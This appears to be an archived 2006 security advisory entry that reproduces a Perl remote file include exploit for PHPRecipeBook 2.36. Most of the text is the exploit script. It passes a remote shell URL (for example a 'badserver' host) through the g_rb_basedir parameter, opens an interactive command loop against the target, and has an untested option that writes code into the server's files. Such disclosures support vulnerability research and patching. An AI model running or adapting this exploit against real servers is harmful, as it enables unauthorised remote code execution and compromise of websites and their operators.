PHPRecipeBook <= 2.35 ((g_rb_basedir)) Remote File Include Exploit

2006-10-19T00:00:00
ID SECURITYVULNS:DOC:14747
Type securityvulns
Reporter Securityvulns
Modified 2006-10-19T00:00:00

Description

!/usr/bin/perl

PHPRecipeBook 2.36

Class: Remote File Include Vulnerability

Date: 2006/10/16

Remote: Yes

Type: Highly critical

Vendor: http://phprecipebook.sourceforge.net/

Download: http://sourceforge.net/project/showfiles.php?group_id=65127

Note: Successful exploitation requires register_globals = on and magic_quotes_gpc = on

Discovered & Exploit by: CarcaBot ( CarcaBotx (at) yahoo (dot) com [email concealed])

Exploit: recipe2.36_xpl.pl

use LWP::UserAgent; use LWP::Simple;

$target = @ARGV[0]; $shellsite = @ARGV[1]; $shellcmd = @ARGV[2]; $file = "/classes/Import_MM.class.php?g_rb_basedir=";

if(!$target || !$shellsite) { usage(); }

header();

print "Type 'exit' to quit"; print "[cmd]\$"; $cmd = <STDIN>;

while ($cmd !~ "exit") { $xpl = LWP::UserAgent->new() or die; $req = HTTP::Request->new(GET=>$target.$file.$shellsite.'?&'.$shellcmd.'='.$cmd ) or die("\n\n Failed to connect."); $res = $xpl->request($req); $r = $res->content; $r =~ tr/[\n]/[ê]/;

if (@ARGV[4] eq "-r") { print $r; } elsif (@ARGV[5] eq "-p") {

if not working change cmd variable to null and apply patch manually.

$cmd = "echo if(basename(FILE) == basename(\$_SERVER['PHP_SELF'])) die(); >> Import_MM.class.php"; print q {

Patch Applied Code added to Import_MM.class.php: if(basename(FILE) == basename($_SERVER['PHP_SELF'])) die();

NOTE: Adding patch function has not been tested. If does not complie or there is an error, simply make cmd = null and add the patch code to Import_MM.class.php

} } else { print "[cmd]\$"; $cmd = <STDIN>; } }

sub header() { print q {

PHPRecipeBook 2.36 - Remote File Include Exploit Vulnerability discovered and exploit by CarcaBot CarcaBotx (at) yahoo (dot) com [email concealed] For recipe administrator testing purposes only!

}; }

sub usage() { header(); print q {

Usage: perl recipe2.36_xpl.pl <Target website> <Shell Location> <CMD Variable> <-r> <-p> <Target Website> - Path to target eg: www.recipevuln.target.com <Shell Location> - Path to shell eg: www.badserver.com/s.txt <CMD Variable> - Shell command variable name eg: cmd <r> - Show output from shell <p> - Patch Import_MM.class.php Example: perl a.pl http://localhost http://localhost/s.txt cmd -r -p

}; exit(); }